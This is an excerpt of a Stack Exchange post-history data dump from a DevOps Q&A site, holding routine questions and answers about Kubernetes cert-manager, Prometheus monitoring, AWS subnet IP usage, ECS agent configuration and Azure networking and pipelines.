  <row Id="44019" PostHistoryTypeId="3" PostId="13990" RevisionGUID="db036b4a-314e-4060-9ce0-b910cad26fee" CreationDate="2021-05-25T15:34:02.927" UserId="22501" Text="&lt;docker&gt;&lt;linux&gt;&lt;release-management&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44020" PostHistoryTypeId="5" PostId="13770" RevisionGUID="d7424396-25eb-4786-b826-53eb7c382cef" CreationDate="2021-05-25T20:15:01.690" UserId="26591" Comment="Make plugin link into a hyperlink." Text="I think to have found a suitable grafana plugin that can activate/deacttivate an actuator by posting a value with a call api rest. The name of this plugin that can be easily donwloaded and istalled in the grafana is cloudspout button panel plugin. and can be found at [grafana.com/grafana/plugins/cloudspout-button-panel][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://grafana.com/grafana/plugins/cloudspout-button-panel/" ContentLicense="CC BY-SA 4.0" />
  <row Id="44021" PostHistoryTypeId="24" PostId="13770" RevisionGUID="d7424396-25eb-4786-b826-53eb7c382cef" CreationDate="2021-05-25T20:15:01.690" Comment="Proposed by 26591 approved by 40 edit id of 1395" ContentLicense="CC BY-SA 4.0" />
  <row Id="44022" PostHistoryTypeId="2" PostId="13991" RevisionGUID="d2599cf8-a4d5-4e11-a881-8867ffe017ab" CreationDate="2021-05-25T20:22:06.663" UserId="27881" Text="Recently, we changed uninstalled our cert manager and reinstalled it into a new namespace.&#xD;&#xA;&#xD;&#xA;There were no issues with the uninstall / reinstall of the cert manager. When we tried to create a new certificate issuer, the cert manager is unable to handle the request as it has a reference to the previous web hook service.&#xD;&#xA;&#xD;&#xA;kubectl apply -f c:\temp\clusterissuereus.yaml -n cert-manager&#xD;&#xA;&#xD;&#xA;&gt; Error from server (InternalError): error when creating&#xD;&#xA;&gt; &quot;c:\\temp\\clusterissuereus.yaml&quot;: Internal error occurred: failed&#xD;&#xA;&gt; calling webhook &quot;webhook.cert-manager.io&quot;: Post&#xD;&#xA;&gt; https://cert-manager-1617928457-webhook.cert-manager.svc:443/mutate?timeout=10s:&#xD;&#xA;&gt; service &quot;cert-manager-1617928457-webhook&quot; not found&#xD;&#xA;cert-manager-1617928457-webhook is the previous webhook pod / service.&#xD;&#xA;&#xD;&#xA;This is similar issue as described on the [Cert Manager Github site][1].&#xD;&#xA;&#xD;&#xA;We did try to install cert manager via helm with the --set installCRDs=true param but it did not work.&#xD;&#xA;&#xD;&#xA;Any suggestions on removing the previous webhook reference ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jetstack/cert-manager/issues/2419" ContentLicense="CC BY-SA 4.0" />
  <row Id="44023" PostHistoryTypeId="1" PostId="13991" RevisionGUID="d2599cf8-a4d5-4e11-a881-8867ffe017ab" CreationDate="2021-05-25T20:22:06.663" UserId="27881" Text="AKS Certificate Manager upgrade w/ namespace change - Wrong cert-manager hook ID" ContentLicense="CC BY-SA 4.0" />
  <row Id="44024" PostHistoryTypeId="3" PostId="13991" RevisionGUID="d2599cf8-a4d5-4e11-a881-8867ffe017ab" CreationDate="2021-05-25T20:22:06.663" UserId="27881" Text="&lt;kubernetes&gt;&lt;azure-kubernetes-service&gt;&lt;kubernetes-helm&gt;&lt;cert-manager&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44025" PostHistoryTypeId="2" PostId="13992" RevisionGUID="f9d0fde2-e1c1-43af-bbf3-034d6a6a0698" CreationDate="2021-05-25T20:36:28.570" UserId="25999" Text="This is more of an opinion based question but let me try to answer it.&#xD;&#xA;&#xD;&#xA;&gt; installing Prometheus itself in the very same k8s cluster (as another running set of pods) is a normal thing.Am I right or just got a wrong idea from my research? &#xD;&#xA;&#xD;&#xA;&gt; Considering good practices, shouldn't the monitoring tool be outside of the system that you actually intend to monitor?&#xD;&#xA;&#xD;&#xA;This is a correct practice to have. Monitoring systems are usually setup to look into the object being monitored. (*outside looking in*). But with self healing systems like k8s, installing monitoring within the system can be done with minimum issues. There are a few cases you do need to look into for proper stability.&#xD;&#xA;&#xD;&#xA; - Pods get deleted :- Run Prometheus in a HA mode (2 replicas minimum)&#xD;&#xA;   so as not to lose any data.&#xD;&#xA; - Pods are replaced due to resource crunch:- Add [priority classes][1]&#xD;&#xA;   to prevent pod form being evicted.&#xD;&#xA; - Use Persistent volumes:- Look into [volume node affinity&#xD;&#xA;   conflict][2]. Also configure the data retention period to make&#xD;&#xA;   optimised use of storage.&#xD;&#xA; - Cluster goes down. See below.&#xD;&#xA;&#xD;&#xA;&gt; Also, if I set up multiple Kubernetes clusters, isn't it more cumbersome to have one Prometheus installation per cluster?&#xD;&#xA;&#xD;&#xA;Not at all, using a combination of IaC(Terraform/Chef),Config management(Ansible),CI/CD (Spinnaker),GitOps and Helm charts. Configuring/maintaining  Prometheus instances across multiple instances will not be an issue.&#xD;&#xA;&#xD;&#xA;&gt;  Is it possible to set up a single Prometheus installation and centralise all k8s clusters metrics on it?&#xD;&#xA;&#xD;&#xA;Prometheus although highly optimised, will not be able to handle all the metrics thrown at it from multiple clusters.Also Prometheus does not scale horizontally on its own, therefore it would need huge resources. Centralising all metrics to one place will cause other issues as well.&#xD;&#xA;&#xD;&#xA; - Network Connectivity/Latency:- Running a centralised Prometheus&#xD;&#xA;   instance receiving data from over the public internet may cause data&#xD;&#xA;   loss/false alerts due to network drops and latency. &#xD;&#xA; - Cost:- Running tens of exporter all sending data over the internet&#xD;&#xA;   will cause high internet costs for cloud deployments.&#xD;&#xA; - Cluster managing:- You may face issues with exporter/job&#xD;&#xA;   configuration of such a large number of exporters.&#xD;&#xA;&#xD;&#xA;Its a good choice to run Prometheus per cluster. wherein you can have all the data locally till the time is required.&#xD;&#xA;&#xD;&#xA;Grafana does not consume much resources so its safe to run inside the cluster. However it faces a different set of issues:- &#xD;&#xA;&#xD;&#xA; - User/Permission Management :- Each local instance would need to be&#xD;&#xA;   maintained separately which is a huge task.&#xD;&#xA; - Charts Management:- Same as above. &#xD;&#xA; - L1/DevOps will have to keep n number of tabs open to monitor your&#xD;&#xA;   infra.&#xD;&#xA;&#xD;&#xA;Other than this, setting up alerts on all the clusters separately would also be a never-ending task.&#xD;&#xA;&#xD;&#xA;My advice would be to setup Prometheus clusters locally (inside the cluster or right next to it) and connect all of them via [Thanos][3] or [Cortex][4]&#xD;&#xA;and set up a HA mode Grafana centrally on top of Thanos along with alerts and external storage.This will alert if the local Prometheus instance goes down and will help with the *outside looking in* factor&#xD;&#xA;&#xD;&#xA;&gt;  scenarios in which a longer history period might help. Any comments on this matter?&#xD;&#xA;&#xD;&#xA;Depends upon the metrics being stored, A quarterly SLI/SLO and incident reports seem like a good use case to store data for longer than 15 days.  &#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/scheduling-eviction/pod-priority-preemption/#priorityclass&#xD;&#xA;  [2]: https://stackoverflow.com/questions/51946393/kubernetes-pod-warning-1-nodes-had-volume-node-affinity-conflict&#xD;&#xA;  [3]: https://thanos.io/&#xD;&#xA;  [4]: https://cortexmetrics.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="44026" PostHistoryTypeId="2" PostId="13993" RevisionGUID="a7a62af2-2f3d-4d2b-a127-7d6e7985c8e1" CreationDate="2021-05-25T20:48:37.867" UserId="25999" Text="With the use case III, have you looked into [Thanos][1] or [Cortex][2] ?&#xD;&#xA;Both of these will provide:- &#xD;&#xA;&#xD;&#xA; - Horizontal scalability (with deduplication)  &#xD;&#xA; - Support for secure communication with the central Thanos querier.&#xD;&#xA; - Long term data storage support in S3 buckets and such, if required.&#xD;&#xA; - Single place to manage all your Prometheus instances rather than adding individually into Grafana. &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://thanos.io/&#xD;&#xA;  [2]: https://cortexmetrics.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="44027" PostHistoryTypeId="2" PostId="13994" RevisionGUID="218cd698-7212-4748-961d-963c087b44d8" CreationDate="2021-05-26T01:55:56.943" UserId="27884" Text="These are presumably proprietary tools for EC2 and GCE respectively. The need for predictive VM autoscaling is pretty strong for Virtual Machines since provisioning time can be measured in the 10's of minutes depending on the configuration.&#xD;&#xA;&#xD;&#xA;Conversely, application spin-up time in Kubernetes is typically measured in seconds. Predictive scaling for the Kubernetes HPA might have limited practical benefit. &#xD;&#xA;&#xD;&#xA;Now using cloud provider predictive autoscaling to scale out the VMs running a Kubernetes cluster based upon ML could be pretty interesting." ContentLicense="CC BY-SA 4.0" />
  <row Id="44028" PostHistoryTypeId="50" PostId="13712" RevisionGUID="0f5a11ce-aeae-487d-b72f-8b96480b9328" CreationDate="2021-05-26T08:09:00.857" UserId="-1" />
  <row Id="44029" PostHistoryTypeId="2" PostId="13995" RevisionGUID="2e487043-f3f8-4940-a322-26b5deea3816" CreationDate="2021-05-26T08:30:09.580" UserId="27758" Text="Is there a step by step tutorial on how to setup remote repository in JFrog artifactory?&#xD;&#xA;&#xD;&#xA;We need to setup a remote repo in our org since our env is internet restricted. So we need to setup remote repo in JFrog Artifactory to download 3rd party tools like openjdk, python &amp; libraries, nodes libraries etc.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44030" PostHistoryTypeId="1" PostId="13995" RevisionGUID="2e487043-f3f8-4940-a322-26b5deea3816" CreationDate="2021-05-26T08:30:09.580" UserId="27758" Text="How to configure remote repository in JFrog artifactory?" ContentLicense="CC BY-SA 4.0" />
  <row Id="44031" PostHistoryTypeId="3" PostId="13995" RevisionGUID="2e487043-f3f8-4940-a322-26b5deea3816" CreationDate="2021-05-26T08:30:09.580" UserId="27758" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44032" PostHistoryTypeId="2" PostId="13996" RevisionGUID="de6a2fe0-a576-4457-a831-79b8823fc5e4" CreationDate="2021-05-26T08:40:12.663" UserId="27891" Text="To enable the rds credentials rotating in aws secrets manager we need a lambda function ,need to know how that lambda is getting triggered and how it is rotating the credentials??" ContentLicense="CC BY-SA 4.0" />
  <row Id="44033" PostHistoryTypeId="1" PostId="13996" RevisionGUID="de6a2fe0-a576-4457-a831-79b8823fc5e4" CreationDate="2021-05-26T08:40:12.663" UserId="27891" Text="how lambda works in aws secrets manager for rotating rds credentials" ContentLicense="CC BY-SA 4.0" />
  <row Id="44034" PostHistoryTypeId="3" PostId="13996" RevisionGUID="de6a2fe0-a576-4457-a831-79b8823fc5e4" CreationDate="2021-05-26T08:40:12.663" UserId="27891" Text="&lt;aws-lambda&gt;&lt;secret-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44035" PostHistoryTypeId="2" PostId="13997" RevisionGUID="36758fa3-9ab2-4e0d-888b-2ccbec7a04c7" CreationDate="2021-05-26T09:29:16.093" UserId="27758" Text="Is there a way to find how many total ip addresses that an AWS subnet can hold?&#xD;&#xA;&#xD;&#xA;If my subnet CIDR is a.b.c.d/n, then the total ips allowed in this subnet - are they decided by a, b, c &amp; d as well?" ContentLicense="CC BY-SA 4.0" />
  <row Id="44036" PostHistoryTypeId="1" PostId="13997" RevisionGUID="36758fa3-9ab2-4e0d-888b-2ccbec7a04c7" CreationDate="2021-05-26T09:29:16.093" UserId="27758" Text="How to find the total ips allowed by an AWS subnet?" ContentLicense="CC BY-SA 4.0" />
  <row Id="44037" PostHistoryTypeId="3" PostId="13997" RevisionGUID="36758fa3-9ab2-4e0d-888b-2ccbec7a04c7" CreationDate="2021-05-26T09:29:16.093" UserId="27758" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44038" PostHistoryTypeId="2" PostId="13998" RevisionGUID="0c8b8bcf-58bd-4104-9101-c3c92cd8d0f1" CreationDate="2021-05-26T10:56:11.787" UserId="27895" Text="We are using AGIC. We need some HTTP redirects (not URL rewrites); in this case, to redirect a few `www.` domains to their bare counterparts.&#xD;&#xA;&#xD;&#xA;AGIC doesn't provide a mechanism for URL rewrites. If you add them manually, they will get reset.&#xD;&#xA;&#xD;&#xA;Previously we have embedded some redirections for old URLs to one of our .NET Core applications in the cluster, using a config map. Or maybe we can use an Azure function. This is our last resort.&#xD;&#xA;&#xD;&#xA;We are looking for a better way that is more manageable from the DevOps side. Like a special service type (ExternalName?), or adding an Azure component for redirections.&#xD;&#xA;&#xD;&#xA;Is there a way to redirect, other than adding a custom application?" ContentLicense="CC BY-SA 4.0" />
  <row Id="44039" PostHistoryTypeId="1" PostId="13998" RevisionGUID="0c8b8bcf-58bd-4104-9101-c3c92cd8d0f1" CreationDate="2021-05-26T10:56:11.787" UserId="27895" Text="HTTP Redirect with Application Gateway Ingress Controller AGIC" ContentLicense="CC BY-SA 4.0" />
  <row Id="44040" PostHistoryTypeId="3" PostId="13998" RevisionGUID="0c8b8bcf-58bd-4104-9101-c3c92cd8d0f1" CreationDate="2021-05-26T10:56:11.787" UserId="27895" Text="&lt;azure&gt;&lt;ingress&gt;&lt;azure-kubernetes-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44041" PostHistoryTypeId="2" PostId="13999" RevisionGUID="5cd8748a-5d1e-4b60-b308-f1338c5a42a5" CreationDate="2021-05-26T13:08:40.647" UserId="27758" Text="&#xD;&#xA;**SCENARIO:**&#xD;&#xA;&#xD;&#xA;    I am running out of free ips in my AWS subnets.&#xD;&#xA;&#xD;&#xA;    I would like to talk to my infra team and request them to create new subnets.&#xD;&#xA;&#xD;&#xA;    But they are asking me list of all ips I have consumed so far and to show how each ip is used&#xD;&#xA;&#xD;&#xA;**1. TOTAL IP CAPACITY:**&#xD;&#xA;&#xD;&#xA;    So I see there are a total of 384 ips available across 8 subnets in 2 VPCs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**2. FREE IPs:**&#xD;&#xA;&#xD;&#xA;    Now I can see from the VPC page that there are a total of 126 free ips available.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**3. TOTAL IPs CONSUMED:**&#xD;&#xA;&#xD;&#xA;    So this means 384-126 = 258 ips have been consumed in this account.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**4. Total # of EC2s:**&#xD;&#xA;    &#xD;&#xA;    I also got a list of all EC2s from the &quot;Tag Editor&quot; page on AWS Console. That list shows a total of 72 EC2s.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**5. DOESN'T ADD UP**&#xD;&#xA;&#xD;&#xA;    So 258 ips have been consumed as per #3 above&#xD;&#xA;&#xD;&#xA;    But there are only 72 EC2s created totally as per #4 above&#xD;&#xA;&#xD;&#xA;    So who consumed the remaining 258-72 = 186 ips?&#xD;&#xA;&#xD;&#xA;    Do any other services other than EC2 consume ips?&#xD;&#xA;&#xD;&#xA;    Where is the disconnect?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44042" PostHistoryTypeId="1" PostId="13999" RevisionGUID="5cd8748a-5d1e-4b60-b308-f1338c5a42a5" CreationDate="2021-05-26T13:08:40.647" UserId="27758" Text="Do any services other than EC2s consume ip addresses in AWS?" ContentLicense="CC BY-SA 4.0" />
  <row Id="44043" PostHistoryTypeId="3" PostId="13999" RevisionGUID="5cd8748a-5d1e-4b60-b308-f1338c5a42a5" CreationDate="2021-05-26T13:08:40.647" UserId="27758" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44044" PostHistoryTypeId="2" PostId="14000" RevisionGUID="61c275ee-1aa8-4bd1-b7b3-8d91cf8549e7" CreationDate="2021-05-26T13:53:19.683" UserId="27912" Text="Updated for ECS optimized AMI image as of May 2021. The sudo start command is not present and the checkpoint file /var/lib/ecs/data/ecs_agent_data.json changed to agent.db.&#xD;&#xA;&#xD;&#xA; 1. Edit `/etc/ecs/ecs.config` as previously described (add ECS_CLUSTER=devcluster).&#xD;&#xA; 2. Rename the agent state file with `mv /var/lib/ecs/data/agent.db /var/lib/ecs/data/agent.db.old`&#xD;&#xA; 3. Restart the ECS agent using `sudo systemctl restart ecs`&#xD;&#xA;&#xD;&#xA;Check the status of the agent with `systemctl status ecs`, you want it to display *Active: active (running)*.&#xD;&#xA;&#xD;&#xA;This was a bit frustrating to figure out because the Amazon online documentation I found still displays the old information. Couldn't have done it without devops!" ContentLicense="CC BY-SA 4.0" />
  <row Id="44045" PostHistoryTypeId="5" PostId="13999" RevisionGUID="c2361d46-9366-4186-aaf3-47d4a3a96bb5" CreationDate="2021-05-26T14:37:52.430" UserId="323" Comment="removed code formatting" Text="&#xD;&#xA;**SCENARIO:**&#xD;&#xA;&#xD;&#xA;I am running out of free ips in my AWS subnets. I would like to talk to my infra team and request them to create new subnets. But they are asking me list of all ips I have consumed so far and to show how each ip is used&#xD;&#xA;&#xD;&#xA;1. TOTAL IP CAPACITY:&#xD;&#xA;&#xD;&#xA;   So I see there are a total of 384 ips available across 8 subnets in 2 VPCs.&#xD;&#xA;&#xD;&#xA;2. FREE IPs: &#xD;&#xA;&#xD;&#xA;   Now I can see from the VPC page that there are a total of 126 free ips available.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;3. TOTAL IPs CONSUMED:&#xD;&#xA;&#xD;&#xA;   So this means 384-126 = 258 ips have been consumed in this account.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;4. Total # of EC2s:&#xD;&#xA;    &#xD;&#xA;   I also got a list of all EC2s from the &quot;Tag Editor&quot; page on AWS Console. That list shows a total of 72 EC2s.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;5. DOESN'T ADD UP&#xD;&#xA;&#xD;&#xA;   So 258 ips have been consumed as per #3 above&#xD;&#xA; &#xD;&#xA;   But there are only 72 EC2s created totally as per #4 above&#xD;&#xA;&#xD;&#xA;So who consumed the remaining 258-72 = 186 ips?&#xD;&#xA;&#xD;&#xA;Do any other services other than EC2 consume ips?&#xD;&#xA;&#xD;&#xA;Where is the disconnect?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44046" PostHistoryTypeId="2" PostId="14001" RevisionGUID="cdd884b6-0a49-4821-9def-74d0f607e40f" CreationDate="2021-05-26T14:52:41.887" UserId="323" Text="AWS docs show what the reserved IP's in each subnet are: https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The gist of it is, the first 4 IP's and the last IP of the subnet are off limits if your subnet starts with the same IP as the VPC.  It's probably a good rule of thumb to avoid assuming these IPs are going to be available in any subnet even though potentially the second subnet address reserved for DNS could be available for consumption in another subnet. A better rule of thumb to avoid under-sizing subnets in AWS. Like, never plan on using a subnet smaller than /24. You need them for auto-scaling groups, NAT gateways, VPN's, and networking hooks into other apps like DynamoDB or Lambda. " ContentLicense="CC BY-SA 4.0" />
  <row Id="44047" PostHistoryTypeId="50" PostId="13778" RevisionGUID="ca25bf10-da18-42cd-b161-c3c81e258b8e" CreationDate="2021-05-26T15:03:30.310" UserId="-1" />
  <row Id="44048" PostHistoryTypeId="5" PostId="6753" RevisionGUID="4209914d-2909-445f-9053-aa895efa751c" CreationDate="2021-05-26T15:46:59.860" UserId="13139" Comment="Add further info" Text="The `CPUThrottlingHigh` is an alert created by the [kubernetes-mixin][1] project. There is an open issue ([#108][2]) to discuss this alert. I suggest that you read all the comments on this issue to better understand the problem.&#xD;&#xA;&#xD;&#xA;In short, the problem is: When working with low CPU limits, spiky workloads can have low averages and still be being throttled.&#xD;&#xA;&#xD;&#xA;Also, take a look at this issue ([#67577][3]) from Kubernetes project, which addresses a Kernel bug in CFS quotas that may cause unnecessary CPU throttling. The discussion is still open, and the Kubernetes project are even considering disabling CFS quotas for pods in the [`Guaranteed` QoS][4] (see [#70585][5] for reference).&#xD;&#xA;&#xD;&#xA;Consider the following options:&#xD;&#xA;&#xD;&#xA; - Increase (or even remove) your container CPU limits&#xD;&#xA; - Disable Kubernetes CFS quotas entirely&#xD;&#xA;   (kubelet's flag `--cpu-cfs-quota=false`)&#xD;&#xA; - Use a Kernel version that contains this fix ([torvalds/linux 512ac99][6])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes-monitoring/kubernetes-mixin&#xD;&#xA;  [2]: https://github.com/kubernetes-monitoring/kubernetes-mixin/issues/108&#xD;&#xA;  [3]: https://github.com/kubernetes/kubernetes/issues/67577&#xD;&#xA;  [4]: https://kubernetes.io/docs/tasks/configure-pod-container/quality-service-pod/#create-a-pod-that-gets-assigned-a-qos-class-of-guaranteed&#xD;&#xA;  [5]: https://github.com/kubernetes/kubernetes/issues/70585&#xD;&#xA;  [6]: https://github.com/torvalds/linux/commit/512ac999d2755d2b7109e996a76b6fb8b888631d" ContentLicense="CC BY-SA 4.0" />
  <row Id="44053" PostHistoryTypeId="2" PostId="14003" RevisionGUID="93989ea3-1c8b-4fd2-b3e7-3f64c5c71f25" CreationDate="2021-05-26T22:22:21.533" UserId="27927" Text="Is there any point in using Azure Key Vault over App Configuration?&#xD;&#xA;&#xD;&#xA;Yes, yes, I know - *they are complimentary*, key vault for secrets, app config for... well, app config.&#xD;&#xA;&#xD;&#xA;But, considering they are both encrypted, basically for someone to see either a secret or a config value they'd have to have access to your azure portal (this is a low-level bad guy scenario).&#xD;&#xA;&#xD;&#xA;The **ONLY** difference I see is that you can control permissions differently between the vault and config but apart from that if someone unauthorized has access to your portal you've got bigger problems.&#xD;&#xA;&#xD;&#xA;So - why? and please only good and real arguments no &quot;because you should&quot; or &quot;because person X said so&quot;, what benefits would I reap with key vault that I don't have with app config?" ContentLicense="CC BY-SA 4.0" />
  <row Id="44054" PostHistoryTypeId="1" PostId="14003" RevisionGUID="93989ea3-1c8b-4fd2-b3e7-3f64c5c71f25" CreationDate="2021-05-26T22:22:21.533" UserId="27927" Text="Azure Key Vault vs App Configuration" ContentLicense="CC BY-SA 4.0" />
  <row Id="44055" PostHistoryTypeId="3" PostId="14003" RevisionGUID="93989ea3-1c8b-4fd2-b3e7-3f64c5c71f25" CreationDate="2021-05-26T22:22:21.533" UserId="27927" Text="&lt;azure&gt;&lt;configuration-management&gt;&lt;key-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44056" PostHistoryTypeId="50" PostId="5377" RevisionGUID="691b1cd9-e5f7-4d94-b799-b625d72b760f" CreationDate="2021-05-27T01:05:35.467" UserId="-1" />
  <row Id="44057" PostHistoryTypeId="4" PostId="13983" RevisionGUID="93b7e79c-0eae-4b85-a626-da4428508249" CreationDate="2021-05-27T09:47:47.973" UserId="27857" Comment="make title more relevant" Text="Ansible - using facts from one host to perform actions on another host" ContentLicense="CC BY-SA 4.0" />
  <row Id="44058" PostHistoryTypeId="2" PostId="14004" RevisionGUID="fb3ca15b-d697-4a44-9981-668179ff6515" CreationDate="2021-05-27T12:40:23.033" UserId="23305" Text=" In azure  i have a **virtual network** with **2 subnets**. consider **Subnet A(10.0.2.0/24),Subnet B(10.1.0.0/23)**.&#xD;&#xA;I created ** 1 virtual machine** with in subnetA. **VirtualMachineAIp** --&gt; **10.0.2.4**&#xD;&#xA;I created **one more virtual machine** in subnetB. **VirtualMachineBIp**--&gt; **10.1.0.4** &#xD;&#xA;&#xD;&#xA;I do have **On premise** network (**192.168.6.0/23**)&#xD;&#xA;**Onpremise Machine 1** ---&gt; **192.168.7.0**&#xD;&#xA;&#xD;&#xA;From OnpremiseMachine1 ----&gt;  ping to both VirtualMachineAIp,VirtualMachineBIp ---&gt; Got Response&#xD;&#xA;VirtualMachineAIp ---&gt;  ping to Onpremise Machine 1 ---&gt; Got Response&#xD;&#xA;VirtualMachineBIp ---&gt;  ping to Onpremise Machine 1 ---&gt; No Response&#xD;&#xA;&#xD;&#xA;By the way am using azure site-to-site vpn which is working fine" ContentLicense="CC BY-SA 4.0" />
  <row Id="44059" PostHistoryTypeId="1" PostId="14004" RevisionGUID="fb3ca15b-d697-4a44-9981-668179ff6515" CreationDate="2021-05-27T12:40:23.033" UserId="23305" Text="Unable to ping to on premise machine from azure site to site vpn" ContentLicense="CC BY-SA 4.0" />
  <row Id="44060" PostHistoryTypeId="3" PostId="14004" RevisionGUID="fb3ca15b-d697-4a44-9981-668179ff6515" CreationDate="2021-05-27T12:40:23.033" UserId="23305" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44061" PostHistoryTypeId="2" PostId="14005" RevisionGUID="14abfe5c-afd1-4fd7-a327-20ef6e6fa7bc" CreationDate="2021-05-27T14:14:32.603" UserId="27941" Text="I'm new to Devops, we're trying to deploy using Azure pipelines, but we get this error:&#xD;&#xA;&#xD;&#xA;    ##[error]Failed to connect to remote machine. Verify the SSH endpoint details. Failed to connect to remote machine. Verify the SSH endpoint details. Error: Timed out while waiting for handshake..&#xD;&#xA;&#xD;&#xA;We're deploying to an on-premise machine on Azure, we've got a Service Connection in Devops with Contributor permissions.&#xD;&#xA;&#xD;&#xA;If we use a hosted agent on other machine in our Azure, there's no problem deploying, but we want to use Azure pipelines, I did not find any prerrequisites, like installing an agent on the machine or open firewall communications, other than using a Service Connection.&#xD;&#xA;&#xD;&#xA;We're trying to log into an SFTP server on the machine, that works fine, and we do not see logs of connection attempts, so I suspect that is a conectivity issue, but I don't know how to look for it in Azure.&#xD;&#xA;&#xD;&#xA;Thanks in advance" ContentLicense="CC BY-SA 4.0" />
  <row Id="44062" PostHistoryTypeId="1" PostId="14005" RevisionGUID="14abfe5c-afd1-4fd7-a327-20ef6e6fa7bc" CreationDate="2021-05-27T14:14:32.603" UserId="27941" Text="Deploy on premise machine with Azure Pipelines, handshake error" ContentLicense="CC BY-SA 4.0" />
  <row Id="44063" PostHistoryTypeId="3" PostId="14005" RevisionGUID="14abfe5c-afd1-4fd7-a327-20ef6e6fa7bc" CreationDate="2021-05-27T14:14:32.603" UserId="27941" Text="&lt;azure-pipelines&gt;&lt;ssh&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44065" PostHistoryTypeId="2" PostId="14007" RevisionGUID="3214d7a5-131b-4ee7-8d2d-474c62ef5112" CreationDate="2021-05-27T15:35:35.137" UserId="27947" Text="While deploying an application with Ansible, I need to make sure a related scheduled task (Windows) is not running and does not start. After deployment, the task should be re-enabled.&#xD;&#xA;&#xD;&#xA;One option is to use win_shell to run schtasks to end the task, then disable the task with win_scheduled_task, and at the end of the playbook use win_scheduled_task again to reinstate the task.&#xD;&#xA;&#xD;&#xA;That seems a bit cumbersome. Is there a more efficient way?" ContentLicense="CC BY-SA 4.0" />
  <row Id="44066" PostHistoryTypeId="1" PostId="14007" RevisionGUID="3214d7a5-131b-4ee7-8d2d-474c62ef5112" CreationDate="2021-05-27T15:35:35.137" UserId="27947" Text="end and disable a windows scheduled task for the duration of playbook execution" ContentLicense="CC BY-SA 4.0" />
  <row Id="44067" PostHistoryTypeId="3" PostId="14007" RevisionGUID="3214d7a5-131b-4ee7-8d2d-474c62ef5112" CreationDate="2021-05-27T15:35:35.137" UserId="27947" Text="&lt;ansible&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44071" PostHistoryTypeId="2" PostId="14009" RevisionGUID="9e36f2e8-215b-4a87-b373-15ab83fff9bc" CreationDate="2021-05-27T21:40:09.560" UserId="27957" Text="I've seen this in past roles when I was working a devops role as an employee. &#xD;&#xA;&#xD;&#xA;What should be the purpose of an inhouse devops in a company that already pays for something like [AWS Professional Services](https://aws.amazon.com/professional-services/), in other words, the cloud provider has teams of engineers who are deployed on-prem to solve business needs, put together an infrastructure, and at the same time promote various AWS services to the client.&#xD;&#xA;&#xD;&#xA;Where does the inhouse devops fit in this picture? And why are they needed or what are they expected to be doing?&#xD;&#xA;&#xD;&#xA;I remember some years ago I was in a remote meeting, solved a task, only to be told by my manager *&quot;okay, we'll give this to our consultant anyway&quot;*.&#xD;&#xA;&#xD;&#xA;Does it make sense to take on a devops role if it's not for a cloud provider?&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="44072" PostHistoryTypeId="1" PostId="14009" RevisionGUID="9e36f2e8-215b-4a87-b373-15ab83fff9bc" CreationDate="2021-05-27T21:40:09.560" UserId="27957" Text="What is the utility of an inhouse DevOps if cloud providers already provide professional services?" ContentLicense="CC BY-SA 4.0" />
  <row Id="44073" PostHistoryTypeId="3" PostId="14009" RevisionGUID="9e36f2e8-215b-4a87-b373-15ab83fff9bc" CreationDate="2021-05-27T21:40:09.560" UserId="27957" Text="&lt;culture&gt;&lt;business&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="44074" PostHistoryTypeId="5" PostId="14009" RevisionGUID="67e0d9c5-3ae9-4970-9c55-2a0d4760baf4" CreationDate="2021-05-27T21:47:03.333" UserId="27957" Comment="deleted 63 characters in body" Text="I've seen this in past roles when I was working a devops role as an employee. &#xD;&#xA;&#xD;&#xA;What should be the purpose of an inhouse devops in a company that already pays for something like [AWS Professional Services](https://aws.amazon.com/professional-services/), in other words, the cloud provider has teams of engineers who are deployed on-prem to solve business needs, put together an infrastructure, and at the same time promote various AWS services to the client.&#xD;&#xA;&#xD;&#xA;Where does the inhouse devops fit in this picture?&#xD;&#xA;&#xD;&#xA;I remember some years ago I was in a remote meeting, solved a task, only to be told by my manager *&quot;okay, we'll give this to our consultant anyway&quot;*.&#xD;&#xA;&#xD;&#xA;Does it make sense to take on a devops role if it's not for a cloud provider?&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 4.0" />
